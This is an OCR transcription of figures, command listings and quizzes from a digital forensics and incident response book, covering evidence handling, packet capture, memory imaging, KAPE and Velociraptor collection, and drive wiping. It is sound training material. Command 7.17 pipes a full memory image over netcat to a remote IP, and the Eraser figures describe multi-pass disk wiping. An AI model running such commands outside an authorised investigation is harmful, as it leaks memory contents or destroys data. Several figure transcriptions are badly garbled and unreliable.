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List of software and hardware

Software/hardware covered in the audiobook

Wireshark

FTK Imager 4.7.12
WinPmem 2.0.1

Belkasoft Live RAM Capturer
Kroll gkape 1.2.0.0
Velociraptor 0.6.4

Eraser 6.2.0.2993

Volatility 3 Framework 2.2.0

Volatility Workbench v3.0.1003

Autopsy 4.19.3
Event Log Explorer 5.2

Skadi 2019.4

Operating system requirements

Windows 10

Encrypted Disk Detector 3.0.2
Security Onion 2.3

Zeek

RITA

Network Miner 2.7.3

Arkime 3.3.1

Monolith Notes

Pestudio 9.3.7

Process Explorer

ClamAv

Maltego 4.3.1

Ubuntu 20.04
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Figure 1.1 — NIST IR process
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Figure 1.2 — Social engineering playbook
Questions

Test your knowledge by seeing if you can answer the following questions:

1.

A table-top exercise should be conducted after changes are made to the IR plan

and/or playbooks.
e True
e False

Which of the following roles would not be a member of the CSIRT core team?
e Incident coordinator

e CSIRT analyst

o Legal

It is not important to have technical resources available as part of the IR
framework to aid during an incident.



e True
e False
4. Arisk assessment is a valid data source for identifying high-risk incidents for
playbook creation.
o True
e False

Further reading

You can refer to the following resources for more information about what we learned in
this chapter:

Computer Security Incident Handling Guide, NIST SP 800-61 Rev. 2:
e European Union Agency for Cybersecurity (ENISA)—Incident Handling in Live
Role Playing Handbook:

handling-in-live-role-playing-handbooki/view
e Incident Handler's Handbook by Patrick Kral, SANS Reading Room:

https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-
handbook-33901
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Questions

¥
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CSIRT Analyst

1. Which of the following containment strategies is the most difficult to perform?

e  Physical

e Network
e Perimeter
e Virtual

2. A cyber security breach can have an impact on which of the following?

e Confidentiality
e Integrity

e Availability

o All of the above



3. Attribution is critical and has to be completed for a successful incident
investigation.
e True

False

Further reading

e NIST SP 800-61 Rev 2, Computer Security Incident Handling Guide, at

¢ ENISA Incident Handling in Live Role Playing Handbook, at
https://www.enisa. europa.eu/topics/trainings-for-
cybersecurity-specialists/online-training-
material/documents/incident-handling-in-live-role-
playing-handbook/view

e Incident Handler’'s Handbook by Patrick Kral, SANS Reading Room, at

MITRE Ten Strategies of a World-Class Cybersecurity Operations Center,

at hitps://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-

e Security Orchestration Automation and Response (SOAR)
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Figure 3.1 — The digital forensics process
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Figure 3.2 — The evidence chain of custody form

March 6, 2022

Incident Information

Intake ID: 2022-00056

Analyst Johansen, G

Submission #: 001

Figure 3.3 — The Incident Information section on a chain of custody form




Electronic Media Details

Item Number: Description:

001 “easystore’ External HDD

Manufacturer. Model= Serizl Numbar.
Western Digital 1621B WX62D80FVXNI

Figure 3.4 — The Electronic Media Details section on a chain of custody form

Image or File Details
Date / Time Acquired: Creatad By: Method: Storage Drive:
March 15, 2022, 0113 UTC Johansen, G TCPDump Forensics HDD-01
FileTmaze Name: Hash:
CoreRouter.pcap f1e815e58c168ac377b8cf576bd1db68

Figure 3.5 — The Image or File Details section on a chain of custody form

Chain of Custody
Tracking No; Date/Time: FROM: TO: Reason:
1 [Date: 03/1522 NameOrg: Gerard Johansen  [Name'Org: Carol Daviz Evidence acquisition and storage,
IRProactive IRProactive Evidence Custodian
Time:0126 UTC : i - Can
me: Signature: Gouard’ fnk Signature: Calos Danvin

2 IDate: 03/1622 Name Org: Carol Davis (Name 'Org: Gerard Johansen IAnalysis

Time: 1642 UTC Signamre: Canlos Daxvis Signanue: Gevacd fobanses

Figure 3.6 — Chain of custody details



Figure 3.7 — A physical write blocker
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Figure 3.8 — The DEFT digital forensics OS



Figure 3.9 — The CAINE digital forensics OS
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Figure 3.10 — The SANS SIFT Workstation



Figure 3.12 — The REMNUX digital forensics OS
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Figure 3.13 — A digital forensics jump kit
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Figure 3.14 — Contents of a jump kit

Questions

1. What s not a federal rule of evidence?
e Atest for relevant evidence

Locard’s principle
o Atestimony by an expert witness
e The Best Evidence Rule
2. A proper chain of custody should be maintained to ensure the integrity of digital

evidence.
e True
e False

3. Which items should be included as part of a digital forensics jump kit?
e A physical write blocker



e Notepad and pen

e Networking cables

e All of the above
4. What is NOT a portion of the forensic process?
Identification

Courtroom testimony
Collection
Analysis

Further reading

e The Digital Forensics Research Workshop: _

e ISACA’s Overview of Digital Forensics: _

e Historical background on the FBI CART:
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Figure 4.1 — Relationship between digital forensics, incident investigation and incident
response
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Figure 4.3 — A ten-step investigation methodology
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Figure 4.4 — The cyber kill chain
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Figure 4.5 — The diamond model
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Figure 4.7 — An example of the diamond model
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Figure 4.8 — A combined kill chain and diamond model

Questions

1.

The type of incident investigation that is concerned with determining whether
an event is an incident or not is:

e Attribution

e Root cause

e Detection

e Intrusion analysis

What is the first phase of the cyber kill chain?

e Reconnaissance

e Weaponization

e Command and Control

e Delivery

Obtaining data during the Reconnaissance phase of the cyber kill chain is often
difficult due to the lack of any connection to the target network.

e True

e False
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Figure 5.1 — A sample network diagram
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Figure 5.2 — A NetFlow diagram

Figure 5.3 — The tcpdump help menu




Figure 5.4 — tcpdump capture interfaces

Figure 5.5 — The tcpdump command output

arkime@arkime:~$ sudo tcpdump ~i ensl60 -vvv -w ping capture

tcpdump: listening on ensl60, link-type EN10MB (Ethernet), capture size 262144 bytes
AC387 packets captured

389 packets received by filter

Figure 5.6 — The tcpdump output
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Figure 5.7 — Wireshark packet capture analysis




C:\ProgramData\chocolatey\bin>RawCap.exe --help
NETRESEC RawCap version 0.2.0.0

Usage: RawCap.exe [OPTIONS] <interface> <pcap_target>
<interface> can be an interface number or IP address
<pcap_target> can be filename, stdout (-) or named pipe (starting with \\.\pipe\)

OPTIONS:
-f Flush data to file after each packet (no buffer)
-c <count> Stop sniffing after receiving <count> packets
-5 <sec> Stop sniffing after <sec> seconds
-m Disable automatic creation of RawCap firewall entry
-q Quiet, don't print packet count to standard out

INTERFACES:

0. IP : 192.168.0.40
NIC Name : Ethernet®
NIC Type : Ethernet

Ip : 127.6.8.1
NIC Name : Loopback Pseudo-Interface 1
NIC Type : Loopback

: RawCap.exe © dumpfile.pcap

: RawCap.exe -s 60 127.0.0.1 localhost.pcap

: RawCap.exe 127.0.8.1 \\.\pipe\RawCap

: RawCap.exe -q 127.8.8.1 - | Wireshark.exe -i - -k

Figure 5.8 — The Rawcap.exe menu

C:\ProgramData\chocolatey\bin>RauCap.exe @ RawCap.pcap
Sniffing IP : 192.168.0.40

Output File : C:\ProgramData\chocolatey\bin\RawCap.pcap
--- Press [Ctrl]+C to stop ---
Packets : 5885

Figure 5.9 — The output of a RawCap packet capture
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Figure 5.10 — Analysis of the RawCap file in Wireshark
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Figure 5.11 — Wireshark Capture interfaces
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Figure 5.12 — A Wireshark capture view

arkime@arkime:~$ mergecap -help

Mergecap (Wireshark) 3.2.3 (Git v3.2.3 packaged as 3.2.3-1)

Merge two or more capture files into one.
s://www.wireshark.org for more information.

Usage: mergecap [options] =-w <outfile>|- <infile> [<infile> .
Output:

-a concatenate rather than merge files.
default is to merge based on frame timestamps.

<snaplen> truncate packets to <snaplen> bytes of data.
<outfile>|- set the output filename to <outfile> or '~' for stdout.
<capture type> set the output file type; default is pcapng.
an empty "-F" option will list the file types.
-1 <IDB merge mode> set the merge mode for Interface Description Blocks; default
is 'all'.

an empty "-I" option will list the merge modes.

Miscellaneous:
~-h display this help and exit.
-\ verbose output.

Figure 5.13 — The mergecap help menu



File Details

File Name: Description: Hash: Source:

ping capture | Packet capture of ICMP activity 1a2edfe017b912696e4f7df3aacfafb8 192.168.0.110
Date / Time Acquired: Captured By: Method: Storage Drive:

20220403T1634 UTC G. Johansen tcpdump Evidence 001

Figure 5.14 — A network evidence collection entry

arkime@arkime:~$ mdS5sum ~help

md5sum: invalid option ==~ 'h'

Try 'mdS5sum --help' for more information.
arkime@arkime:~5 md5sum --help

Usage: md5sum [OPTION]... [FILE]...

Print or check MD5 (128~bit) checksums.

With no FILE, or when FILE is -, read standard input.

~=-binary read in binary mode

-=-check read MD5 sums f£rom the FILEs and check

--tag create a BSD-style checksum

-=text read in text mode (default)

~=ZE8ro end each output line with NUL, not newline,
and disable file name escaping

The following five options are useful only when verifying checksums:

~-ignore-missing don't fail or report status for missing files
-=quiet don't print OK for each successfully verified file
--status don't output anything, status code shows success
-=-strict exit non-zero for improperly formatted checksum lines
-=Warn warn about improperly formatted checksum lines

--help display this help and exit
--yersion output version information and exit

The sums are computed as described in RFC 1321. When checking, the input
should be a former output of this program. The default mode is to print a
line with checksum, a space, a character indicating input mode ('*' for binary,
' ' for text or where binary is insignificant), and name for each FILE.

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation at: <https://www.gnu.org/software/coreutils/md5sum>
or available locally via: info '(coreutils) md5sum invocation'

Figure 5.15 — The md5sum help menu

arkimefarkime:~$ mdSsum ping capture

1a2cd£fc917b912696c4£7df3aacfafb8 ping capturc
arkime@arkime:~$

Figure 5.16 — A md5sum file calculation



Code and Commands

Command 5.1

arkime@arkime: :~$ tcpdump -h

Command 5.2

arkime@arkime: :~$ tcpdump -D

Command 5.3

arkime@arkime: tcpdump -i ensl60 -v

Command 5.4

arkime@arkime: i ensl60 -vvv -w

ping capture
Command 5.5

arkime@arkime: tcpdump -i ens33 src host
192.168.10.54

Command 5.6

arkime@arkime: i ens33 dst host 162.4.5.23

Command 5.7

D:\>RawCap.exe -help

Command 5.8

C:\ProgramData\chocolatey\bin\RawCap.exe 0 RawCap.pcap

Command 5.9

arkimie@arkime:~$mergecap -help

Command 5.10

arkime@arkime:~$Smergecap -w switches.pcap switchl.pcap

switch2.pcap switch3.pcap

Command 5.11:



arkime@arkime:~$md5sum --help

Command 5.12:

arkime@arkime:~Smd5sum ping capture

Questions
1. Which of these items are potential sources of network evidence?
e Switches
e Routers

e Firewalls

o All of the above

Network diagrams are important in identifying potential areas where network
evidence can be acquired.

e True

e False

Which of the following is not a network forensic evidence capture tool?
e RawCap

o  Wireshark

e WinPcap

e |ogBeat

When conducting evidence acquisition, it is not important to record the hash
value of the file.

e True

e False

Further reading

Wireshark training: hitps:/www.chappell-university.com/
Introduction to Cisco IOS NetFlow — A Technical Overview:

https://www.cisco.com/c/en/us/products/collateral/ios-nx-os-software/ios-
netflow/prod white paper0900aecd80406232.html
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Figure 6.2 — FTK Imager main window

Memory Capture

Destination path:

X

| E:\

[ orowse.

Destination filename:

| Acc_LT_008.mem

Include pagefile

| pagefile.sys

[Jcreate AD1 file

‘ memcapture.adl

Capture Memory

Figure 6.3 — FTK Imager memory capture




Memory Progress

Destination: | E:\Acc_LT_008.mem

Status: | Dumping RAM: 1GB/18GB [6%)]

Figure 6.4 — FTK Imager memory capture progress

Memory Progress

Destination: I E:\pagefile.sys
Status: ’ Extracting page file: 1GB/3GB [36%]

Figure 6.5 — FTK Imager page file extraction

Memory Progress

Destination: | E:\pageﬁle.ws

Status: | Memory capture finished successfully

Figure 6.6 — FTK Imager memory capture success




Name Date modified

. pagefile.sys
B Acc L7 008mem

Figure 6.7 — FTK Imager output files

E:\>winpmem_mini_ x64 rc2.exe -help

JinPmem64

dinpmem - A memory imager for windows.

opyright Michael Cohen (scudette@gmail.com) 2012-2014.

ersion 2.0.1 Oct 13 2020
sage:
winpmem _mini x64 rc2.exe [option] [output path]

ODption:
-1 Load the driver and exit.
-u Unload the driver and exit.
-d [filename]

Extract driver to this file (Default use random name).
-h Display this help.
Turn on write mode.
-0 Use MmMapIoSpace method.
Use \\Device\PhysicalMemory method (Default for 32bit 0S).
Use PTE remapping (AMD64 only - Default for 64bit 0S).

an output filename of - will write the image to STDOUT.

Examples:
inpmem _mini_ x64 rc2.exe physmem.raw
drites an image to physmem.raw

Figure 6.8 — WinPmem help menu



E:\>winpmem mini_x64 rc2.exe Acc_LT@9.raw
WinPmem64
Extracting driver to C:\Users\madno\AppData\Local\Temp\pmeAE7F.tmp
Driver Unloaded.
Loaded Driver C:\Users\madno\AppData\Local\Temp\pmeAE7F.tmp.
Deleting C:\Users\madno\AppData\Local\Temp\pmeAE7F.tmp
The system time is: 14:46:26
Will generate a RAW image
- buffer_size : 0x1000
CR3: Ox00001AD0O0O2
5 memory ranges:
Start 0x00001000 - Length Ox0009E000Q
Start 0x00100000 - Length O0x86(87000
Start 0x87687000 - Length 0x16217000
Start Ox9ECOEQBO - Length 0x00001000
Start 0x100000000 - Length Ox35E000000
max_physical memory_ @x45e000000
Acquitision mode PTE Remapping
Padding from ©x00000000 to 0x00001000
pad
- length: 0x1000

Figure 6.9 — WinPmem output



[&5] Administrator: Command Prompt

pad
- length: @x1370000

14% ©x9D89EG0O ..
copy_memory
- start: 0x9ec0e000
- end: Ox9ec0{000

14% Ox9ECOEQ00 .
Padding from Ox9ECOFO00 to Ox100000000
pad

- length: @0x613f1000

14% ©Ox9ECOF000
14% ©Ox9ECOF000
copy_memory
- start: 9x100000000
- end: 0@x45e000000

0x100000000
0x132000000
0x164000000
0x196000000
9x1C8000000
Ox1FAQ00000
0x22C000000
Ox25E000000
0x290000000
0x2C2000000
Ox2F4000000
0x326000000
0x358000000
0x38A000000
09x3BC000000
Ox3EEQ00000
Bx420000000
0x452000000
system time is: 17:05:26
Driver Unloaded.

E:\>

Figure 6.10 — WinPmem output
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Select output folder path:
| E:\RamCapturer\x64
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Figure 6.11 — RAM Capturer start window

= Beikasoft Live RAM Capturer

Select output folder path:
[ew«w

Loading device driver ., Physical Memory Pabe Size = 4096Total Physical Memory Size = 17838 M8

-

I l

lesse] [cond ][ oe |

Figure 6.12 — RAM Capturer progress




“ Belkasoft Live RAM Capturer

Select output folder path:
E:\RamCapturer'\x64

Loading device driver ...Physical Memory Page Size = 4096Total Physical Memory Size = 17888 MB

Memory dump completed. Total memory dumped = 17888 MBAnalyze memory dumps with Belkasoft
Evidence Center, Download at www.belkasoft.com/ed|

Figure 6.13 — RAM Capturer completion

Obtain System Files

Source for obtaining files:

'aming: Please be aware that FTK Imager is obtaining the
em files from the live system and not the acquired image.

Destination for obtained files:

IE:\

Options
" Minimum files for login password recovery

® Password recovery and all registry files

oK Cancel

Figure 6.14 - FTK protected files acquisition




Figure 6.15 — CyLR output

2022-04-14T00:22:02 [info] Collection complete. ©0:09:52.6881952 elapsed

Figure 6.16 — CyLR completion message

R WINDOWS
. SLogFile
B st

Figure 6.17 — CyLR acquired files



Figure 6.18 — KAPE GUI

Figure 6.19 — Setting target source and destinations



Drag a column header here to group by that column

Name

afdc

IBasicCollection

ISANS_Triage

$Boot

$1

$LogFile
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SMFTMirr

Windows
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v

[]Process vsCs
SHA-1 exdusions

Container | @ None OviDX OwD O 7Zp

Base name |
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Figure 6.20 — SANS_Triage target

/| Zip container

[ | Transfer

5 Edtor: 1SANS_Triage

Author: Mark Halman
Version 12
RecreateDirectones true
Targels:

Name: Antrrus

Category Anthrus
Path: Antivirus tkape

Category. Apps

Name: CombinedLogs
Category. WindowsLogs
Path: Eventl.ogs tkape

- Name: FleSystem
Category. FleSystem

. ,

[@ Gervratn GAD |

SANS Tnage Collection

1d. 1bfba59d-6¢55-4eeb-9da7-1a9612b 79964

Name: CloudStorage_Metadata
Path: CloudStorage_Metadata thape

Name: EwdenceOlExecubion
Category. EwdenceOfExecution
Path: EwdenceOfExecution tkape

Figure 6.21 — SANS target details
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y cormrd ) Syre ot Gead b Exsiute

Figure 6.22 — KAPE command-line command

DATA DESTRUCTION WARNING! X

M WARNING ™
One or more flush options are enabled!

This means that the contents of "Target destination' and/or 'Module destination' will be DELETED prior to KAPE running!

Click 'OK' to continue or ‘Cancel' to abort.

8 (Copeest 164 Defesred quene count: 2 [

c Limmernan (kapepiroll.co

riage

: Windows18 (19.9.19843)

Deferring

Figure 6.24 — KAPE command output




Name : Date modified Type

Rc 4/24/2 File folder

. 2022-04-24T213646_ConsolelLog.txt /24, Text Document

3] 2022-04-247213646_CopylLog.csv /2412022 2:46 PM Microsoft Excel Comma...
a 2022-04-24T213646_SkipLog.csv 4/24/2022 2:46 PM Microsoft Excel Comma...

Figure 6.25 — KAPE targets acquired

Name Date modified Type

B SExtend 24/ : File folder
M SRecycle.Bin 4 22: File folder
B ProgramData /24, :37 File folder
R Users y 2: / File folder
R Windows 7 2:43 File folder
B $Boot / : File 8 KB
B StogFile File 65,536 KB
B SvFT /16/2 File 1,024,512 KB
B SSecure $SDS 10/16/2019 10:56 PM File 6,506 KB

Figure 6.26 — Details of KAPE acquired artifacts

Code and Commands

Command 6.1:

E:\winpmem mini x64 rc2.exe -help

Command 6.2:

E:\winpmem mini x64 rc2.exe Acc LT09.raw

Command 6.3:

C:\Program Files (x86) \VMware\VMware
Workstation>vmss2core.exe suspect.vmss suspect.vmem

Command 6.4:

C:\wevtutil epl<Log Type> E:\<FileName>.evtx




Command 6.5:

.\kape.exe --tsource C: --tdest E:\Acct LT009 --tflush --

target !SANS Triage —gui

Questions

Answer the following questions to test your knowledge of this chapter:

1. When looking at the order of volatility, which of the following evidence
categories should be acquired first?
e Random Access Memory
e Pagefile or Swap File
e (Central Processing Unit, Registers
e Storage Drive
2. Itis a good practice to acquire the pagefile with RAM if using FTK Imager.
e True
e False
3. When recreating the memory from a virtual system, responders should acquire
both the VMSS and VMEM file.
e True
e False

Further reading

For more information about the topics covered in this chapter, you can refer to the
following:

e Order of Volatility:
https://www.forensicswiki.org/wiki/Digital evidence#Order of Volatility

e The Advanced Data Acquisition Model:
https://researchrepository.murdoch.edu.au/id/eprint/14422/

e Best Practices in Digital Evidence Collection: https://digital-
forensics.sans.org/blog/2009/09/12/best-practices-in-digital-evidence-
collection/
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Images
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Figure 7.1 — Velociraptor setup
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Figure 7.2 — Velociraptor welcome screen
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Figure 7.3 — Configuring the Velociraptor YAML file

B8 Administrator: Command Prompt
ciraptor Agent.exe service install

Figure 7.4 — Velociraptor Agent intallation



— ﬁ ‘ Search clients J Q ] -
4L == —
(1) ® § == Show All
o ’ A Recent Hosts |
0 (@) Client ID ‘ v
Figure 7.5 — Searching for clients
© oo cumo Hosame 3 Fan ¢
O e £ €.325723¢954750178 DESKTOP-SEPSOOE DESKTOP.SEPSO0E hitronhub home
0 @ 2 C.61ccanesate? ot DESKTOP-85KSKPF DESKTOP-8SKSKPF hronhub home

Figure 7.6 — Client list

DESKTOP-9SK5KPF hitronhub home

Cllent 1D
Agent Version
Agent Name
First Seen At
Last Seen At
Last Seen IP
Labels

Operating System
Hostname

FQDN

Release
Architecture

C 61ccdad581e72da
2022-04.26T10°48 3441000
velociraptor

2022-04-28 015127 UTC
2022-05-04 011525 UTC
192 168 0.36.52173

windows
DESKTOP-9SKSKPF
DESKTOP-8SKSKPF hitronhub home

Microsolt Windows 10 Enterprise Evaluation10 019044 Bulld 19044

amdo4

Figure 7.7 — Client information

i~

O Overview 7= VQL Drilldown = >_ Shell |

Figure 7.8 — Accessing Shell



AR

netstat

Active Connections

Proto Local Address Foreign Address State

Tce 192.168.0.36:3389 192.168.0.32:56257 ESTABLISHED

Tce 192.168.0.36:52173 192.168.0.200:8000 ESTABLISHED

Tce 192.168.08.36:52335 192.168.0.200:8000 ESTABLISHED

Tce 192.168.0.36:52391 72.21.91.29:http CLOSE_WAIT

Tce 192.168.0.36:52405 49.83.247.10@8:nttps ESTABLISHED

Tce [2001:4818:1006:b2a:1893:90bd:a3df:d1be]:52389 2081-48F8-0-462-0-0-1834-18F@-static:https CLOSE_WAIT
TCceP [2001:4818:1006:b2a:1893:90bd:a3df:d1be]:52390 [2620:109:c002::6cae:218]:https CLOSE_WAIT

Figure 7.9 — Windows netstat command output

@ Interrogate B VFS ‘D Collected 181 W

Figure 7.10 — Accessing the VFS

M file
& ntfs
= \.\C:

M $Extend
B $Recycle.Bin
i $Secure
M $Secure:$SDS
B $WinREAgent
B AtomicRedTeam
M Documents and Settings
M Perflogs
B Program Files
B Program Files (x86)
M ProgramData
I Recovery
B System Volume Information
W Users
M Windows

B registry

Figure 7.11 — The VFS
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Ole DB

ado
bghe21.dll
en-US
msadc
wab32.dll
wab32res.dll
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Figure 7.12 — Refresh buttons

s Size ¢ Mode <

0b drwxr-xr-x
0b drwxr-xr-x
1Mb -rwxr-xr-x
0b drwxr-xr-x
0b drwxr-xr-x
1Mb -rwxr-xr-x

1 Mb -rwxr-xr-x

Figure 7.13 — Suspect DLL

\\\C:\Program Files\Common Files\System\bghe21.dll

Size
Mode
Mtime
Atime
Ctime
Btime

Fetch from Client

721990
-TWXT-XT-X

2022-05-04T09:44:20Z

mtime <
2021-10-06 13:58:39 UTC
2021-10-06 13:58:39 UTC
2022-05-04 09:44:20 UTC
2019-12-07 09:49:03 UTC
2021-10-06 13:58:39 UTC
2021-10-06 13:53:39 UTC
2021-10-06 13:53:39 UTC

2022-05-04T02:50:09.4841997Z
2022-05-04T02:50:12.890088Z
2022-05-04T02:49:43.48149237

&£ Collect from the client

Figure 7.14 - Collecting files



Client ID

£ €.325723¢05d750176

{4 C.61ccdas581e72dd1

Hostname S

Figure 7.15 — Client list

DESKTOP-5EPSO0E
DESKTOP-GSKSKPF

a

Eﬁ,a"

@ Interrogate

DESKTOP-9SK

Client ID
Agent Version
Agent Name
First Seen At
Last Seen At
Last Seen IP
Labels

Fqdn
DESKTOP-5EPS00E hitronhub home

DESKTOP-9SKSKPF hitronhub_ home

Figure 7.16 — Collection icon

ﬁ’ all

Figure 7.17 — Starting a new collection



New Collection: Select Artifacts to collect

Windows Forensics. Usn
Windows KapeFiles Extract
| . K ' Fies

Windows Memory Acquisiion

Figure 7.18 — Selecting artifacts

Windows.KapeFiles.Targets

Type: chant

Kape is a popular bulk collector tool for riaging a system quickly While KAPE itself is not an opensource tool the
jogic it uses to decide which files to collect 1s encoded In YAML files hosted on the Kapefiies project

(hitps //github.com/EncZimmerman/KapeFiles) and released under an MIT license.

This artifact 1s automatically generated from these YAML files, contributed and maintamed by the community This
artifact only encapsulates the KAPE "Targets™ - basically a bunch of glob expressions used for collecting files on
the endpoint We do not do any post processing these files - we just collect them

We racommend that timeouts and upload limis be used conservatively with this artifact bacause we can upload
really vast quantities of data very quackly

Parameters

Name Type Default Description

UseAutoAccessor bool ¥ Uses file accessor when possible instead of ntis
parser - this s much faster

Device c: Name of the drive letter 1o search

VSSAnalysis bool It set we run the collection across all VSS and
coliect only unique changes.

_BasicCollection bool Basic Collection (by Phill Moore): $Boot, $J, $J,

SLogFile, SMFT, SMax, $Max, ST, $T, Amcache,
Amcache Amcache transaction files, Amcache
transaction files, Desktop LNK Files, Deskiop LNK

Figure 7.19 — KAPE Targets details



Configure Parameters  Specify Resources Review Launch

Figure 7.20 - Collection parameters
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MasicColiection @ Buse Cusiochon (ry vl Mocrn| $Eoel, 51 50 $iogh s SMET SMme $Van $1 81 A ) fny M, Armicouch
traesacton Sen. Doy LNK Fies, Oeskiop UNK §de X2 Event logs Wenis Ewartt logs Wenle Evert logs X, LNK § s bom CSmgreriists, LK
Fies tom Mcromo® Ofion Becont. LNK Fées fom Rincart. UNK Files from Roecent (XP), Locs Servion sagestry frwe. Locail Service segrsty tove, Local
Serecs gty Sansacson Nes, Locy Senioe (sgeny bansacion fes, NTUSER DAT DEFALLT sty ham. NTUSER DAT DEFAULT rogetry s,
NTUSER DAT DEFALLT ynnsaction Hes, NTUSER DAT DEFAULT ransachion bes. NTUSER QAT ogsty hive, NTUSER OAT registey fwe XP
NTUSER DAT rogetry Sansacnon Mes, Network Soreco rogstny Sve, Natwork Seewce regeatry ive . Nolwark Senace iegsiny omsaction S,
Netarrk Soredo ety Yassacnon s PowsrShed Consola Log Frekach Prfeach RECYCLER - WP, RecoatFieCacne ReconiFioCachn,
Racychs Bhn - Wattows Vidtine | RgEck registy Landacton Ses, HegBack gatry mansaron Sod Restne porr LNK Fles XP. S ragrdry v
SAM Ipalry Srat | SAM gty havo (RegRack), SAM negadry tive (Rogi SAM mgnary fhen. SAM rogeary Barachon fles
SECURITY rogewvy trwe, SECLRITY segatey v, SECUIRITY tagadry ave (legflach) SECURITY sty ham (RegBack), SECURITY mgrary
trarvsaction s SECURITY mugmbry swseaschion bes, SOFTWARE ragminy hive. SOFTWARE gty have. SOFTWASE ssgwty e SOF TWSRE
Ingetry teve, SOF TIWARE regetry teve (Segliack), SOFTWARE regesty hree (g Uackl. SOFTWARE morsty emsacton Nes, SOFTWARE mpretry
trnsacton Wes SOFTWARE sogaty trwrsaction Nes, SOF TWARE repsty barvsachon Ses, SHUM. SRUM. SYSTEN segisty e SYSTEM regesyy
five. SYSTEM rogesay e (RogBackl SYSTEM mgesyy hews (RogBackl SYSTEM rogesyy trwe [RegBock] SYSTEM regesyy heee {RogBack)
SYSTEM mgalry hmnsaction ¥es SYSTEM rogesty bansacion Ses, Selupapd kg Wi+ Setupags iog Wi+ Setupegs 1og X Syscacho. Syscache
Mhes, Systom Restoro Powes Rogstry Mot O0F), Thurbicachs DB, UsiClass aat iegulry ha, UaCiria dal rogiary Iamackon fies,
WnSiwandeSamtn OV WL & ot o 120 o Sonal i) B, W1 Sthadt g tel

Figure 7.21 - Collection parameters detail



New Collection: Review request

L~ {
@ “artifacts™: [
3 "Windows .KapeFiles.Targets"”
. BN
5+ "specs”: [
6+ {
7 "artifact”: “"Windows.KapeFiles.Targets"”,
Ev “parameters": {
S~ "env": [
e~ {
11 "key": "_BasicCollection",
12 “value®™: "Y"
13 s
14 ]
15 3
16 }
17 ]
8 3}

Figure 7.22 - Collection request review
F.C9PGNBRNPTOPC Windows KapeFiles. Targets

Figure 7.23 — Collection request progress



Results

Artifacts with Results Windows.KapeFiles. Targets/All File
MetadataWindows.KapeFiles Targets/Uploads

Total Rows 1202

Uploaded Bytes 608775661 / 608775661

Files uploaded 600

Download Results & =

Available Downloads

Size
Name (Mb) ¥ Date
DESKTOP-9SKSKPF-C 61ccdadbh81e72dd1- 71 Mb 2022-05-
F.COPGNBRNPTOPC 04T23:41:37Z

Figure 7.24 — KAPE Targets ready for download

M suto » CNIA » Users » Atomic Red Team

. ntuser.datLlOG1

. MMuser.datLOGT Jdx

. ntuser.dat LOG2

Figure 7.25 — Acquired evidence

Code and Commands

Command 7.1:

mkdir velociraptor

Command 7.2:



cd velociraptor

Command 7.3:

wget

https://github.com/Velocidex/velociraptor/releases/download
/v0.6.4- 1/velociraptor-v0.6.4-1-1linux-amd64

Command 7.4:

chmod +x velociraptor-v0.6.4-1-1linux-amdé64

Command 7.5:

./velociraptor-v0.6.4-1-1linux-amd64 config generate >

velociraptor.config.yaml

Command 7.6:

nano velociraptor.config.yaml

Command 7.7:

sudo mv velociraptor.config.yaml /etc

Command 7.8:

./velociraptor-v0.6.4-1-1inux-amd64 --config
/etc/velociraptor.config.yaml user add admin --role

administrator

Command 7.9:

./velociraptor-v0.6.0-1-1linux-amd64 --config
/etc/velociraptor.config.yaml frontend -v

Command 7.10:

sudo nano /etc/velociraptor.config.yaml

Command 7.11:

use self signed ssl: true

Command 7.12:

cd velociraptor



Command 7.13:

./velociraptor-v0.6.4-1-1linux-amdé64 --config

/etc/velociraptor.config.yaml config client >
client.config.yaml

Command 7.14:

wget
https://github.com/Velocidex/velociraptor/releases/download
/v0.6.4-1/velociraptor-v0.6.4-windows-amd64.exe

Command 7.15:

./velociraptor-v0.6.0-1-1linux-amd64 config repack --exe
velociraptor-v0.6.0-1-windows-amd64.exe client.config.yaml
Velociraptor Agent.exe

Command 7.16:

CyLR.exe -u username -p password -s 192.168.0.15

Command 7.17:

C:/winpmem-2.1l.exe - | nc 192.168.0.56 4455

Questions

Answer the following questions to test your knowledge of this chapter:

1. Inanincident investigation, it may not be necessary to obtain a full disk or
memory image before an analysis can be conducted.
e True
e False
2. Which of the following are not advantages of an EDR platform?
e Cost
Scalability of investigation

e Eventalerting
e Central management

3. The one advantage to Velociraptor is that all of the processing is done on the
Velociraptor server.



True
False
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Figure 8.1 — Physical versus logical volumes

File Header MD5

Figure 8.3 — TRIM operations enabled
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Task

Tutk mame [optional}

> Erase Schedule Yook Type p—
Task Name HNext 'I O Run immediately
2 Run on restart
) Recurring
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Deta Set
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Figure 8.4 — Setting Eraser task

Target type Drive/Partition v
Erasure method: '(“m v
Settings
l_' Seagate Expansion Drive (E:) in
I oK I Cancel
| oK Cancel |

Figure 8.5 — Eraser drive selection



Select Data to Erase

Target type:
Erasure method:

Settings

[ . Seagate Expansi

Drive/Partition v,
(default) v

|
Gutmann (35 passes)

US DoD 5220.22-M (8-306./E, C & E
RCMP TSSIT OPS-II (7 passes)
Schneier 7 pass (7 passes)

German VSITR (7 passes)

US DoD 5220.22-M (8-306./E) (3 pas}
British HMG IS5 (Enhanced) (3 pass|
US Air Force 5020 (3 passes)

US Army AR380-19 (3 passes)
Russian GOST P50739-95 (2 passes)
British HMG IS5 (Baseline) (1 pass)
Pseudorandom Data (1 pass)
First/last 16KB Erasure

[ ok | conce |

Figure 8.6 — Erasure method selection
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Figure 8.7 — Erase Schedule




Figure 8.8 — Packaging integrity check

Figure 8.9 — Example disk photo

Figure 8.10 — Physical write blocker setup



AccessData FTK Imager 4.5.0.3 - O X
File View Mode Help
asgsaxGdEBEesc=2mpl 0BG}
|Evidence Tree | [Fite List x
Name Size Type Date
Custom Content Sources |
Evidence:File System|Path |File Options
< I——— >
A
< I >
v
Properties |Hex Value Inter... Custom Conte...
For User Guide, press F1 A

Figure 8.11 — FTK Imager main menu

Select Source

Please Select the Source Evidence Type
@ Physical Drive
O Logical Drive
O Image File

(O Contents of a Folder
{logical filedevel analysis only; excludes deleted, unallocated. etc.)

O Femico Device mutiple CD/DVD)

Figure 8.12 — FTK Imager source selection



Select Drive

Source Drive Selection

Please selectfrom the following available drives:
[W\PHYSICALDRIVE2 - ST9500424AS  SCSI Disk Device [500GB S v |

| <Back || Finish l| Cancel |[ Help

Figure 8.13 — Suspect drive selection

Create Image X

Image Sowrce
[ WipvsICALDRIVEZ

Sl lihe Evicsres Mumbss }

Image Destination(s)

